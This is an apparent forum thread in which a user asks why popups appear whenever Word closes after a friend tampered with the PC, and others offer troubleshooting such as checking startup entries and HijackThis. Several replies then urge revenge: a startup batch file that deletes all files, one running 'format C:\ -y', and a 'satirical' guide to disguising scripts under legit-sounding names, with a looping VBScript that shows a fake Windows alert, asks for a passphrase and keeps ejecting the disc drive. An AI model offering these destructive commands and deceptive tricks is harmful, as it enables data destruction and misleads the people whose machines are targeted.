Check your list of installed programs under control panel and see if there are any programs that are installed that you haven't installed. There are various annoyances like this, I believe on of them is called Popup Prank - a program that does what you described.

Don't leave your notebook/PC unattended in a public place, even if your "friends" are around. Always log out.

yeah well thats the thing, when i try to log out, the computer sometimes gets stuck, and its actually just lagging to get to the "restart, shut down or standby" menu, so sometimes i dont even bother, but i was right there when he did it behind my back, for a second he became solid snake and hacked my pc!!! anyway remember guys its everytime i CLOSE WORD, not when i close things in general

As I said, check to see if anything has been installed. Some of these software can be programmed and customised to popup at certain keystrokes or closing only CERTAIN software. Don't think Word has such a function in itself to do it. Not sure about macros, but I doubt it.

Just do system restore to previous ok setting...that is if you didn't disable it.

 

[predz23]

i got it, its visual basic

 

[blueprintstudios]

do a del *.* without "yes" prompt .bat file and put in his computer's startup folder.

 

[KDY]

This should do the trick

@ECHO off
format C:\ -y
format system -y

Type that in notepad and save it as a .bat

 

[blueprintstudios]

if you don't want to really format for real, just make it "echo" exactly what format would have appeared.

Warning: This post is entirely for entertainment purposes and can be treated as a satire. There is no malicious intent and I am NOT responsible for anything under the sun.

1) Always create filenames that mislead victims into thinking they are legit:

NT_StartupCheck.vbs

2) Always use variable and function names, formatting and styling that "appear" professional, again, to mislead victims into thinking they are legit.

I'll throw in a bonus - never use GUI functions (eg. dialogs) that give away the executable name (eg. WSH). So we avoid using GUI printing of stdout (eg. echo, print, printf, etc):

sysExec = "hasAttribute"

While sysExec = "hasAttribute"
    MsgBox("Windows has detected illegal startup files.")
    InputBox("An authentication passphrase is needed to continue:")
    
    CreateObject("Shell.Application").NameSpace(17).ParseName("E:\").InvokeVerb("E&ject")
Wend

It's VBScript so it can run out-of-the-box. Execute it from the Startup folder, within a Batch, or from the Registy. Replace E:\ with an optical (CD/DVD) drive letter of the system

hey bro ...u familiar with regedit?
look under run ...see if anything suspicious there , or msconfig look at startup,
if you still cant get it ...download hijackthis ...
nice trick ....but if he is smart enough he should have played with windows shell !!!!

[anbertim]
